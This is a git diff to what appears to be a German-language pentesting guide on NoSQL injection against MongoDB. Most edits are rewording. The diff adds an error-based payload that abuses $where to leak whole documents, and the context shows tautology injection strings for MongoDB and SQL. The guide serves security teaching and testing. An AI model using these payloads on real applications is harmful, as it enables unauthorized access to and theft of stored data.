diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index cf901ca5f..010715d0c 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true ```javascript query = { $where: `this.username == '${username}'` } ``` -Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie `admin' || 'a'=='a` eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie (`'a'=='a'`) erfüllt wird. Dies ist analog zu SQL-Injection-Angriffen, bei denen Eingaben wie `' or 1=1-- -` verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen mit Eingaben wie `' || 1==1//`, `' || 1==1%00` oder `admin' || 'a'=='a` durchgeführt werden. +Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie `admin' || 'a'=='a` eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie erfüllt wird (`'a'=='a'`). Dies ist analog zu SQL-Injection-Angriffen, bei denen Eingaben wie `' or 1=1-- -` verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen mit Eingaben wie `' || 1==1//`, `' || 1==1%00` oder `admin' || 'a'=='a` durchgeführt werden. ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a @@ -88,7 +88,7 @@ Mit dem **$func** Operator der [MongoLite](https://github.com/agentejo/cockpit/t Es ist möglich, [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) zu verwenden, um Informationen aus einer anderen Sammlung abzurufen. Im folgenden Beispiel lesen wir aus einer **anderen Sammlung** namens **`users`** und erhalten die **Ergebnisse aller Einträge**, deren Passwort mit einem Platzhalter übereinstimmt. -**HINWEIS:** `$lookup` und andere Aggregationsfunktionen sind nur verfügbar, wenn die `aggregate()`-Funktion verwendet wurde, um die Suche durchzuführen, anstelle der häufigeren Funktionen `find()` oder `findOne()`. +**HINWEIS:** `$lookup` und andere Aggregationsfunktionen sind nur verfügbar, wenn die `aggregate()`-Funktion verwendet wurde, um die Suche durchzuführen, anstelle der häufigeren `find()`- oder `findOne()`-Funktionen. ```json [ { @@ -108,6 +108,12 @@ Es ist möglich, [**$lookup**](https://www.mongodb.com/docs/manual/reference/ope } ] ``` +### Error-Based Injection + +Injiziere `throw new Error(JSON.stringify(this))` in eine `$where`-Klausel, um vollständige Dokumente über serverseitige JavaScript-Fehler zu exfiltrieren (erfordert, dass die Anwendung Datenbankfehler preisgibt). Beispiel: +```json +{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } +``` ## MongoDB Payloads Liste [von hier](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) @@ -229,5 +235,6 @@ get_password(u) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) +- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) {{#include ../banners/hacktricks-training.md}}